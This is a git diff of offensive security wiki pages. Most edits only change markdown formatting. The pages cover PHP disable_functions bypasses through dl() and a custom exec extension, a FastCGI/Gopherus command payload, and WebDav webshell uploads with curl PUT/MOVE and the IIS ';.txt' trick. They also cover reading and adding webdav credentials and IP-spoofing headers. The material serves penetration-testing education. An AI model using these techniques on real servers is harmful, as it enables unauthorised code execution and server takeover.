-**tempnam** -**touch** -**unlink** -**imagepng** - 2nd parameter is a path. -**imagewbmp** - 2nd parameter is a path. -**image2wbmp** - 2nd parameter is a path. -**imagejpeg** - 2nd parameter is a path. -**imagexbm** - 2nd parameter is a path. -**imagegif** - 2nd parameter is a path. -**imagegd** - 2nd parameter is a path. -**imagegd2** - 2nd parameter is a path. -**iptcembed** -**ftp\_get** -**ftp\_nb\_get** +**chgrp**\ +**chmod**\ +**chown**\ +**copy**\ +**file_put_contents**\ +**lchgrp**\ +**lchown**\ +**link**\ +**mkdir**\ +**move_uploaded_file**\ +**rename**\ +**rmdir**\ +**symlink**\ +**tempnam**\ +**touch**\ +**unlink**\ +**imagepng **- 2nd parameter is a path.\ +**imagewbmp** - 2nd parameter is a path.\ +**image2wbmp** - 2nd parameter is a path.\ +**imagejpeg** - 2nd parameter is a path.\ +**imagexbm** - 2nd parameter is a path.\ +**imagegif** - 2nd parameter is a path.\ +**imagegd** - 2nd parameter is a path.\ +**imagegd2** - 2nd parameter is a path.\ +**iptcembed**\ +**ftp_get**\ +**ftp_nb_get**\ **scandir** **Read from filesystem** -**file\_exists** -**-- file\_get\_contents** -**file** -**fileatime** -**filectime** -**filegroup** -**fileinode** -**filemtime** -**fileowner** -**fileperms** -**filesize** -**filetype** -**glob** -**is\_dir** -**is\_executable** -**is\_file** -**is\_link** -**is\_readable** -**is\_uploaded\_file** -**is\_writable** -**is\_writeable** -**linkinfo** -**lstat** -**parse\_ini\_file** -**pathinfo** -**readfile** -**readlink** -**realpath** -**stat** -**gzfile** -**readgzfile** -**getimagesize** -**imagecreatefromgif** -**imagecreatefromjpeg** -**imagecreatefrompng** -**imagecreatefromwbmp** -**imagecreatefromxbm** -**imagecreatefromxpm** -**ftp\_put** -**ftp\_nb\_put** -**exif\_read\_data** -**read\_exif\_data** -**exif\_thumbnail** -**exif\_imagetype** -**hash\_file** -**hash\_hmac\_file** -**hash\_update\_file** -**md5\_file** -**sha1\_file** -**-- highlight\_file** -**-- show\_source** -**php\_strip\_whitespace** -**get\_meta\_tags** - +**file_exists**\ +**-- file_get_contents**\ +**file**\ +**fileatime**\ +**filectime**\ +**filegroup**\ +**fileinode**\ +**filemtime**\ +**fileowner**\ +**fileperms**\ +**filesize**\ +**filetype**\ +**glob**\ +**is_dir**\ +**is_executable**\ +**is_file**\ +**is_link**\ +**is_readable**\ +**is_uploaded_file**\ +**is_writable**\ +**is_writeable**\ +**linkinfo**\ +**lstat**\ +**parse_ini_file**\ +**pathinfo**\ +**readfile**\ +**readlink**\ +**realpath**\ +**stat**\ +**gzfile**\ +**readgzfile**\ +**getimagesize**\ +**imagecreatefromgif**\ +**imagecreatefromjpeg**\ +**imagecreatefrompng**\ +**imagecreatefromwbmp**\ +**imagecreatefromxbm**\ +**imagecreatefromxpm**\ +**ftp_put**\ +**ftp_nb_put**\ +**exif_read_data**\ +**read_exif_data**\ +**exif_thumbnail**\ +**exif_imagetype**\ +**hash_file**\ +**hash_hmac_file**\ +**hash_update_file**\ +**md5\_file**\ +**sha1\_file**\ +**-- highlight_file**\ +**-- show_source**\ +**php_strip_whitespace**\ +**get_meta_tags** diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index 41ea7e64..26515c7c 100644 --- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -1,35 +1,35 @@ -# disable\_functions bypass - dl function +# disable_functions bypass - dl function -**`dl`** is a PHP function that can be used to load PHP extensions. It the function isn't disabled it could be abused to **bypass `disable_functions` and execute arbitrary commands**. +**`dl`** is a PHP function that can be used to load PHP extensions. It the function isn't disabled it could be abused to **bypass `disable_functions` and execute arbitrary commands**.\ However, it has some strict limitations: -* The `dl` function must be **present** in the **environment** and **not disabled** -* The PHP Extension **must be compiled with the same major version** \(PHP API version\) that the server is using \(you can see this information in the output of phpinfo\) -* The PHP extension must be **located in the directory** that is **defined** by the **`extension_dir`** directive \(you can see it in the output of phpinfo\). It's very unprobeable that an attacker trying to abuse the server will have write access over this directory, so this requirement probably will prevent you to abuse this technique\). +* The `dl` function must be **present **in the **environment **and **not disabled** +* The PHP Extension** must be compiled with the same major version** (PHP API version) that the server is using (you can see this information in the output of phpinfo) +* The PHP extension must be** located in the directory** that is **defined **by the **`extension_dir`** directive (you can see it in the output of phpinfo). It's very unprobeable that an attacker trying to abuse the server will have write access over this directory, so this requirement probably will prevent you to abuse this technique). -**If you meet these requirements, continue reading this post copied from** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **to learn how to bypass disable\_functions** +**If you meet these requirements, continue reading this post copied from **[**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/)** to learn how to bypass disable_functions** -When the admin was configuring the box he/she overlooked the [dl function](http://www.php.net/manual/en/function.dl.php) and didn't disable it since there was no mention of being able to execute system commands. -The [dl function](http://www.php.net/manual/en/function.dl.php) is used to loads PHP extensions when a script is executed. - -\(PHP extensions are written in C/C++ and are used to give PHP more functionality.\) - -The attacker notices the function isn't disabled and sees potential and decides to create a PHP extension. -The attacker checks the version of PHP using a small script`` \(PHP\_VERSION is a predefined constant that contains the version number of PHP.\) - -The attacker notes the version and downloads the tarball from the [PHP website](http://www.php.net/downloads.php), in this scenario the version is older than the current release so the attacker has to go to the [archive](http://museum.php.net/). - -Next he extracts the source and [compiles and installs](http://www.php.net/manual/en/install.php) the version of PHP on his own box. - -Now it's time to create the extension -The attacker reads up on [creating PHP extensions](http://www.php.net/manual/en/zend.creating.php) from the PHP site. -After reading through the documentation and creating some extensions of his own he decides to look at the PHP code base since the function he's after is already created. - -The function that will be duplicated will be the [exec function](http://www.php.net/manual/en/function.exec.php) -in the code base it's located in ext/standard/exec.c - -The relevant parts are implemented into a new extension of its own. - +When the admin was configuring the box he/she overlooked the [dl function](http://www.php.net/manual/en/function.dl.php) and didn't disable it since there was no mention of being able to execute system commands.\ +The [dl function](http://www.php.net/manual/en/function.dl.php) is used to loads PHP extensions when a script is executed.\ +\ +(PHP extensions are written in C/C++ and are used to give PHP more functionality.)\ +\ +The attacker notices the function isn't disabled and sees potential and decides to create a PHP extension.\ +The attacker checks the version of PHP using a small script`` (PHP_VERSION is a predefined constant that contains the version number of PHP.)\ +\ +The attacker notes the version and downloads the tarball from the [PHP website](http://www.php.net/downloads.php), in this scenario the version is older than the current release so the attacker has to go to the [archive](http://museum.php.net).\ +\ +Next he extracts the source and [compiles and installs](http://www.php.net/manual/en/install.php) the version of PHP on his own box.\ +\ +Now it's time to create the extension\ +The attacker reads up on [creating PHP extensions](http://www.php.net/manual/en/zend.creating.php) from the PHP site.\ +After reading through the documentation and creating some extensions of his own he decides to look at the PHP code base since the function he's after is already created.\ +\ +The function that will be duplicated will be the [exec function](http://www.php.net/manual/en/function.exec.php)\ +in the code base it's located in ext/standard/exec.c\ +\ +The relevant parts are implemented into a new extension of its own.\ +\ The files for the separate extension end up as below: {% code title="bypass.c" %} @@ -125,7 +125,7 @@ PHP_FUNCTION(bypass_exec){ ``` {% endcode %} -{% code title="php\_bypass.h" %} +{% code title="php_bypass.h" %} ```c #ifndef PHP_BYPASS_H #define PHP_BYPASS_H 1 @@ -156,29 +156,29 @@ fi Once the files are created it's time to build the PHP extension. -```text +``` phpize ./configure make ``` -Once this is done the compiled extension will be located in the modules sub directory with the filename bypass.so. +Once this is done the compiled extension will be located in the modules sub directory with the filename bypass.so.\ The file is copied to a safe place, now the following commands are executed to clean up the newly created files. -```text +``` make clean phpize --clean ``` -Now the attacker uploads the newly created extension to the victim host. - -\(NOTE: Major releases of PHP use different API versions, in order for you to be able to compile the extension on one host and upload it to another the API versions must match. This is why initially the same PHP version was installed on the attackers box. \) - -In order to load an extension with the dl function the extension needs to be in the the extension directory which is defined by the extension\_dir directive. -This can be a problem since it's less likely for the attacker to have write permissions in this directory, there is however a way to get passed this. -This problem has been discussed by developers on the dl function page within the notes section. - -The concept that was discussed is to use a relative path from the defined extension directory. +Now the attacker uploads the newly created extension to the victim host.\ +\ +(NOTE: Major releases of PHP use different API versions, in order for you to be able to compile the extension on one host and upload it to another the API versions must match. This is why initially the same PHP version was installed on the attackers box. )\ +\ +In order to load an extension with the dl function the extension needs to be in the the extension directory which is defined by the extension_dir directive.\ +This can be a problem since it's less likely for the attacker to have write permissions in this directory, there is however a way to get passed this.\ +This problem has been discussed by developers on the dl function page within the notes section.\ +\ +The concept that was discussed is to use a relative path from the defined extension directory.\ For example if the extension directory was set to /usr/php/extensions and you'd like to load bypass.so in the current web directory /home/example.com/html you would do as follows: ```php @@ -187,12 +187,12 @@ dl('../../../home/example.com/html/bypass.so'); ?> ``` -This will get passed the need to have the extension in the defined extension directory. - -There is also an automated way so you won't have to change the relative path for different hosts, this code was created by endofyourself \[at\] yahoo \[dot\] com and improved apon later on by mag\_2000 \[at\] front \[dot\] ru - -There was one minor problem with the function, on some hosts the extension directory is set to "./" this function didn't take into account if the extension directory was set to a relative path, the fix for this is too use the realpath function. - +This will get passed the need to have the extension in the defined extension directory.\ +\ +There is also an automated way so you won't have to change the relative path for different hosts, this code was created by endofyourself \[at] yahoo \[dot] com and improved apon later on by mag\_2000 \[at] front \[dot] ru\ +\ +There was one minor problem with the function, on some hosts the extension directory is set to "./" this function didn't take into account if the extension directory was set to a relative path, the fix for this is too use the realpath function.\ +\ The final script used to load the extension and execute system commands to bypass the disabled functions is as follows: ```php @@ -259,7 +259,6 @@ if(@$_GET['cmd']){ All the attacker has to do now to execute commands is call the URL to the script along with a cmd variable with the desired command. -```text +``` http://www.example.com/script.php?cmd=ls ``` - diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 76fbdfb0..efae7dc5 100644 --- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -1,19 +1,19 @@ -# disable\_functions bypass - php-fpm/FastCGI +# disable_functions bypass - php-fpm/FastCGI ## PHP-FPM -PHP fastCGI Process Manager is an **alternative PHP FastCGI** implementation with some additional features \(mostly\) **useful for heavy-loaded sites**. +PHP fastCGI Process Manager is an **alternative PHP FastCGI** implementation with some additional features (mostly) **useful for heavy-loaded sites**.\ Internally, PHP-FPM is organized as a “master process” managing pools of individual “worker processes.” When the web server has a request for a PHP script, **the web server uses a proxy, FastCGI connection to forward the request to the PHP-FPM service**. The PHP-FPM service can **listen for these requests on the host server’s network ports or through Unix sockets**. Although requests pass via a proxy connection, the PHP-FPM service must run on the same server as the web server. Notably, the proxy connection for PHP-FPM is not the same as a traditional proxy connection. As PHP-FPM receives a proxied connection, a free PHP-FPM worker accepts the web server’s request. PHP-FPM then compiles and executes the PHP script, sending the output back to the web server. Once a PHP-FPM worker finishes handling a request, the system releases the worker and waits for new requests. ## But what is CGI and FastCGI? ### CGI -Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public\_html. **When the browser requests certain content, the server checks this directory and sends the required file to the browse**r. +Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public_html. **When the browser requests certain content, the server checks this directory and sends the required file to the browse**r. -If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public\_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client. +If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client. -For example, when the CGI script [http://mysitename.com/\*\*cgi-bin/file.pl\*\*](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. \(explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)\) +For example, when the CGI script [http://mysitename.com/\*\*cgi-bin/file.pl\*\*](http://mysitename.com/\*\*cgi-bin/file.pl\*\*) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) ### FastCGI @@ -21,33 +21,33 @@ For example, when the CGI script [http://mysitename.com/\*\*cgi-bin/file.pl\*\*] The need to develop FastCGI is that Web was arisen by applications' rapid development and complexity, as well to address the scalability shortcomings of CGI technology. To meet those requirements [Open Market](http://en.wikipedia.org/wiki/Open_Market) introduced **FastCGI – a high performance version of the CGI technology with enhanced capabilities.** -## disable\_functions bypass +## disable_functions bypass It's possible to run PHP code abusing the FastCGI and avoiding the `disable_functions` limitations. ### Via Gopherus {% hint style="danger" %} -I'm not sure if this is working in modern versions because I tried once and it didn't execute anything. Please, if you have more information about this contact me via **\*\*\[**PEASS & HackTricks telegram group here**\]\(**[https://t.me/peass](https://t.me/peass)**\), or twitter \[**@carlospolopm**\]\(**[https://twitter.com/carlospolopm](https://twitter.com/carlospolopm)**\)**.\*\* +I'm not sure if this is working in modern versions because I tried once and it didn't execute anything. Please, if you have more information about this contact me via **\*\*\[**PEASS & HackTricks telegram group here**]\(**[https://t.me/peass](https://t.me/peass)**), or twitter \[**@carlospolopm**]\(**[https://twitter.com/carlospolopm](https://twitter.com/carlospolopm)**)**.\*\* {% endhint %} Using [Gopherus](https://github.com/tarunkant/Gopherus) you can generate a payload to send to the FastCGI listener and execute arbitrary commands: -![](../../../../.gitbook/assets/image%20%28385%29.png) +![](<../../../../.gitbook/assets/image (351).png>) -Then, you can grab the urlencoded payload and decode it and transform to base64, \[**using this recipe of cyberchef for example**\]\([http://icyberchef.com/\#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)\). And then copy/pasting the abse64 in this php code: +Then, you can grab the urlencoded payload and decode it and transform to base64, \[**using this recipe of cyberchef for example**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). And then copy/pasting the abse64 in this php code: ```php ) -![](../../../../.gitbook/assets/image%20%28384%29.png) +![](<../../../../.gitbook/assets/image (353).png>) -**So, I think that you can only set `disable_functions` via php `.ini` config files and the PHP\_VALUE won't override that setting.** +**So, I think that you can only set `disable_functions` via php `.ini` config files and the PHP_VALUE won't override that setting.** ### \*\*\*\*[**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)\*\*\*\* -This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`. -It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension. +This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`.\ +It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.\ You can access it here: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) -You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using PHP\_VALUE, it tries to **load an external PHP module** to execute code using the parameters `extension_dir` and `extension` inside the variable `PHP_ADMIN_VALUE`. -**NOTE1**: You probably will need to **recompile** the extension with the **same PHP version that the server** is using \(you can check it inside the output of phpinfo\): +You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using PHP_VALUE, it tries to **load an external PHP module** to execute code using the parameters `extension_dir` and `extension` inside the variable `PHP_ADMIN_VALUE`.\ +**NOTE1**: You probably will need to **recompile** the extension with the **same PHP version that the server** is using (you can check it inside the output of phpinfo): -![](../../../../.gitbook/assets/image%20%28387%29.png) +![](<../../../../.gitbook/assets/image (354).png>) {% hint style="danger" %} -**NOTE2**: I managed to make this work by inserting the `extension_dir` and `extension` values inside a PHP `.ini` config file \(something that you won't be able to do attacking a server\). But for some reason, when using this exploit and loading the extension from the `PHP_ADMIN_VALUE` variable the process just died, so I don't know if this technique is still valid. +**NOTE2**: I managed to make this work by inserting the `extension_dir` and `extension` values inside a PHP `.ini` config file (something that you won't be able to do attacking a server). But for some reason, when using this exploit and loading the extension from the `PHP_ADMIN_VALUE` variable the process just died, so I don't know if this technique is still valid. {% endhint %} -### PHP-FPM Remote Code Execution Vulnerability \(CVE-2019–11043\) +### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) -You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043). +You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** - diff --git a/pentesting/pentesting-web/put-method-webdav.md b/pentesting/pentesting-web/put-method-webdav.md index a718d1f9..fa701e30 100644 --- a/pentesting/pentesting-web/put-method-webdav.md +++ b/pentesting/pentesting-web/put-method-webdav.md @@ -1,19 +1,19 @@ # WebDav -A **HTTP Server with WebDav** active is a server where you probably can **update, delete, move, copy** files. **Sometimes** you **need** to have **valid credentials** \(usually check with HTTP Basic Authentication\). +A **HTTP Server with WebDav** active is a server where you probably can** update, delete, move, copy** files. **Sometimes** you **need** to have **valid credentials** (usually check with HTTP Basic Authentication). -You should try to **upload** some **webshell** and **execute** it from the web server to take control over the server. -Usually, to **connect** a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../brute-force.md#http-basic-auth) ****_\(Basic Auth\)_. +You should try to **upload **some **webshell **and **execute **it from the web server to take control over the server.\ +Usually, to **connect **a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../brute-force.md#http-basic-auth)** **_(Basic Auth)_. Other common configuration is to **forbid uploading** files with **extensions** that will be **executed** by the web server, you should check how to **bypass this:** -* **Upload** files with **executable extensions** \(maybe it's not forbidden\). -* **Upload** files **without executable extensions** \(like .txt\) and try to **rename** the file \(move\) with an **executable extension**. -* **Upload** files **without executable extensions** \(like .txt\) and try to **copy** the file \(move\) with **executable extension.** +* **Upload** files with **executable extensions** (maybe it's not forbidden). +* **Upload** files** without executable extensions** (like .txt) and try to **rename** the file (move) with an **executable extension**. +* **Upload** files **without executable extensions** (like .txt) and try to **copy** the file (move) with **executable extension.** ## DavTest -**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**: +**Davtest **try to** upload several files with different extensions** and **check** if the extension is **executed**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions @@ -22,46 +22,46 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every Output sample: -![](../../.gitbook/assets/image%20%28169%29.png) +![](<../../.gitbook/assets/image (19).png>) -This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web. +This doesn't mean that **.txt **and **.html extensions are being executed**. This mean that you can **access this files** through the web. ## Cadaver -You can use this tool to **connect to the WebDav** server and perform actions \(like **upload**, **move** or **delete**\) **manually**. +You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move **or **delete**) **manually**. -```text +``` cadaver ``` ## PUT request -```text +``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE request -```text +``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file \(you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**\). +This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename **files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed **as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**). -Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** \(cadaver will said that the move action didn't work, but it did\). +Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed **(cadaver will said that the move action didn't work, but it did). -![](../../.gitbook/assets/image%20%28259%29.png) +![](<../../.gitbook/assets/image (18).png>) ## Post credentials -If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly: +If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\ _**/etc/apache2/sites-enabled/000-default**_ Inside it you could find something like: -```text +``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -72,15 +72,15 @@ ServerAdmin webmaster@localhost Require valid-user ``` -As you can see there is the files with the valid **credentials** for the **webdav** server: +As you can see there is the files with the valid **credentials **for the **webdav **server: -```text +``` /etc/apache2/users.password ``` -Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users. +Inside this type of files you will find the **username **and a **hash **of the password. These are the credentials the webdav server is using to authenticate users. -You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server: +You can try to **crack **them, or to **add more **if for some reason you wan to **access** the **webdav **server: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password @@ -91,4 +91,3 @@ To check if the new credentials are working you can do: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` - diff --git a/pentesting/pentesting-web/special-http-headers.md b/pentesting/pentesting-web/special-http-headers.md index f5d17729..5d1235e8 100644 --- a/pentesting/pentesting-web/special-http-headers.md +++ b/pentesting/pentesting-web/special-http-headers.md @@ -24,7 +24,7 @@ Rewrite **IP source**: * `Cluster-Client-IP: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1` * `Via: 1.0 fred, 1.1 127.0.0.1` -* `Connection: close, X-Forwarded-For` \(Check hop-by-hop headers\) +* `Connection: close, X-Forwarded-For` (Check hop-by-hop headers) Rewrite **location**: @@ -37,14 +37,18 @@ A hop-by-hop header is a header which is designed to be processed and consumed b * `Connection: close, X-Forwarded-For` -{% page-ref page="../../pentesting-web/abusing-hop-by-hop-headers.md" %} +{% content-ref url="../../pentesting-web/abusing-hop-by-hop-headers.md" %} +[abusing-hop-by-hop-headers.md](../../pentesting-web/abusing-hop-by-hop-headers.md) +{% endcontent-ref %} ## HTTP Request Smuggling * `Content-Length: 30` * `Transfer-Encoding: chunked` -{% page-ref page="../../pentesting-web/http-request-smuggling.md" %} +{% content-ref url="../../pentesting-web/http-request-smuggling.md" %} 